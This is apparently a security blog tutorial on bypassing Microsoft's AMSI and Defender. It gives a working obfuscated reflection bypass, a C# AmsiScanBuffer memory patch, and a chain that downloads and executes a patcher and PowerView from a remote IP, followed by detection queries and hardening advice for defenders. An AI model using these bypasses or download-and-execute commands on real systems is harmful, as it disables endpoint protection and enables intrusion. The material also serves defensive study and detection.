AMSI and Windows Defender Bypass: A Practical Primer

Windows Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

The Antimalware Scan Interface (AMSI) is the choke point that Microsoft Defender (and many third-party AV/EDR products) use to inspect script content after it has been de-obfuscated but before it executes. If you have ever pasted a working PowerShell payload into a session only to watch it die with This script contains malicious content and has been blocked by your antivirus software, you have met AMSI.

This article is a practical primer for red teamers and defenders. We cover the four core ideas every operator should understand precisely: the in-memory AMSI patch, reflection to reach private fields, payload obfuscation, and how these combine into an in-memory bypass that never touches disk. Equal time goes to the blue team, because most of these techniques are well-known and well-detected in 2026.

Legal / ethical disclaimer. Everything below is for education and for authorized security testing on systems you own or have explicit, written permission to assess. Bypassing endpoint protection on machines you do not control is a crime in most jurisdictions. Stay in scope.

How it works / Background

AMSI exposes a small flat API exported by amsi.dll. The functions that matter are:

  • AmsiInitialize — creates an HAMSICONTEXT.
  • AmsiOpenSession — creates a scan session.
  • AmsiScanBuffer / AmsiScanString — submit content for scanning. They return an AMSI_RESULT. A value >= 32768 (AMSI_RESULT_DETECTED) means "block."

The PowerShell engine, the Windows Script Host, the .NET CLR (4.8+), Office VBA, and JScript all funnel content through this API. The key architectural insight is that AMSI runs in the same process as the script host. The scanning decision is made by code and data living in your address space — which is exactly why an attacker who already controls that process can tamper with it. This is the root cause of every "AMSI bypass": you are not breaking Defender's signature engine, you are corrupting the thin client-side glue that feeds it.

There are three broad families of bypass:

  1. Patch the function — overwrite the first bytes of AmsiScanBuffer so it returns "clean" before scanning.
  2. Corrupt the context — use reflection to set the private amsiInitFailed field, so PowerShell skips scanning entirely.
  3. Obfuscate the payload — break the string signatures Defender matches on, buying time even without a patch.

Prerequisites / Lab setup

You need a Windows 10/11 or Server 2019+ VM with Defender enabled and Tamper Protection ON (test realistically). Snapshot it first.

# Confirm Defender is the active provider and real-time protection is on
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, IsTamperProtected

The official AMSI test string is a benign canary that any healthy AMSI provider must detect:

AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386

Echoing that string in PowerShell should produce the "malicious content" error if AMSI is healthy. Use it as a before/after canary throughout your testing.

Attack walkthrough / PoC

1. Obfuscation first (lowest noise)

Before reaching for memory patches, defeat the string signatures. Modern Defender signatures often match on literal identifiers, so splitting and rebuilding them at runtime can be enough for a specific payload:

# Reflection-based field access without ever writing the flagged literals
$a = [Ref].Assembly.GetType(('System.Management.Automation.{0}Utils' -f 'Amsi'))
$f = $a.GetField(('amsi{0}Failed' -f 'Init'),'NonPublic,Static')
$f.SetValue($null,$true)

This is the reflection bypass. System.Management.Automation.AmsiUtils holds a static private boolean amsiInitFailed. When PowerShell sees it as true, it concludes AMSI is broken and stops calling AmsiScanBuffer. Note we never typed the literal strings AmsiUtils or amsiInitFailed — they are assembled with the -f format operator to dodge static signatures. Tools like Invoke-Obfuscation automate this kind of token splitting at scale. Microsoft has long flagged the naive version of this snippet, so it survives only when combined with obfuscation.

2. The in-memory AMSI patch

When the field trick is signatured, patch the export directly. The canonical approach resolves AmsiScanBuffer, marks its page writable with VirtualProtect, and writes a small stub that returns AMSI_RESULT_CLEAN. A widely used variant writes the bytes for mov eax, 0x80070057; ret (0xB8 0x57 0x00 0x07 0x80 0xC3), returning E_INVALIDARG so the host treats the scan as failed-open.

// Conceptual x64 patch of AmsiScanBuffer (run inside the target process)
var amsi = LoadLibrary("amsi.dll");
var addr = GetProcAddress(amsi, "AmsiScanBuffer");
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax,0x80070057 ; ret
VirtualProtect(addr, (UIntPtr)patch.Length, 0x40 /*RWX*/, out uint old);
Marshal.Copy(patch, 0, addr, patch.Length);
VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);

From PowerShell you can do the equivalent with P/Invoke via Add-Type, but the cleaner operational path is a compiled loader (C# or a BOF for Cobalt Strike) so the patch bytes never appear as a PowerShell string. Matt Graeber's original one-liner and the amsi.fail project document many byte-level variants; rotate them, because the static ones (CVE-class signatures like the well-known 0x[...] constants) are all signatured now.

3. Tying it together: an in-memory bypass

A realistic chain stages a tiny patcher in memory, runs it, then loads the real tooling:

# 1) Pull an obfuscated, base64-encoded patcher (no payload on disk)
$enc = (Invoke-WebRequest -UseBasicParsing http://10.10.14.7/p.txt).Content
$sb  = [ScriptBlock]::Create([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($enc)))
& $sb                                  # patches AmsiScanBuffer in this process
# 2) Now load post-exploitation tooling that would normally be flagged
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/PowerView.ps1')

After the patch, your AMSI canary string should print plainly instead of being blocked. Once AMSI is silenced in-process, downstream tooling such as PowerView or Rubeus loads freely — see the Kerberoasting complete guide for what you might do next.

Mermaid diagram

AMSI and Windows Defender Bypass: A Practical Primer diagram 1

The diagram shows that a script normally passes through AmsiScanBuffer, but either reflection (amsiInitFailed=true) or an in-memory patch forces the "clean" path so execution proceeds unscanned.

Detection & Defense (Blue Team)

AMSI bypass is loud if you are watching the right places. Defenders should treat the techniques above with at least as much attention as operators do.

1. Script Block Logging (Event ID 4104). Enable PowerShell module and script block logging via GPO (Administrative Templates > Windows PowerShell > Turn on PowerShell Script Block Logging). Even when AMSI is bypassed, the deobfuscated block is recorded. Hunt for the literal strings amsiInitFailed, AmsiScanBuffer, System.Management.Automation.AmsiUtils, VirtualProtect, and [Ref].Assembly.GetType.

# Hunt for AMSI-tamper indicators in script block logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
  Where-Object { $_.Id -eq 4104 -and $_.Message -match 'amsiInitFailed|AmsiScanBuffer|VirtualProtect' } |
  Select-Object TimeCreated, Id, Message -First 20

2. AMSI itself logs bypass attempts. Microsoft added telemetry so Defender raises detections like Trojan:Win32/AmsiTamper / Behavior:Win32/AmsiTamper when it sees the context being corrupted or the export patched. Make sure cloud-delivered protection and automatic sample submission are enabled so these heuristics stay current.

3. Memory integrity checks. Patched AmsiScanBuffer means the in-memory bytes diverge from the on-disk amsi.dll. EDRs and tools such as Get-InjectedThread or moneta-style scanners flag RWX private regions and modified prologues. Watch for VirtualProtect flipping amsi.dll pages to writable.

4. Constrained Language Mode + WDAC. Enforcing PowerShell Constrained Language Mode (CLM) under Windows Defender Application Control (WDAC) blocks the reflection and Add-Type primitives these bypasses rely on. CLM disables arbitrary .NET reflection and P/Invoke, which removes most field-flipping and patching paths outright.

5. Tamper Protection and ASR. Enable Tamper Protection to stop attackers disabling Defender, and turn on Attack Surface Reduction rules — especially Block execution of potentially obfuscated scripts and Block Office applications from injecting code.

# Enable the ASR rule that blocks obfuscated scripts (audit first in production)
Add-MpPreference -AttackSurfaceReductionRules_Ids 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC `
                 -AttackSurfaceReductionRules_Actions Enabled

For broader hardening context, see Windows credential dumping defenses and PowerShell logging and detection.

Conclusion

AMSI bypasses work not because Defender's engine is weak but because the scan client lives inside the very process an attacker controls. Reflection flips a private flag, obfuscation defeats string signatures, and an in-memory patch neutralizes AmsiScanBuffer directly — together yielding a disk-free bypass. The same proximity that makes the attack easy also makes it observable: script block logging, AMSI tamper heuristics, memory integrity scanning, and Constrained Language Mode under WDAC catch the overwhelming majority of these attempts. Operate within scope, and defend with the assumption that your adversary already read this article.

References

Comments

Copied title and URL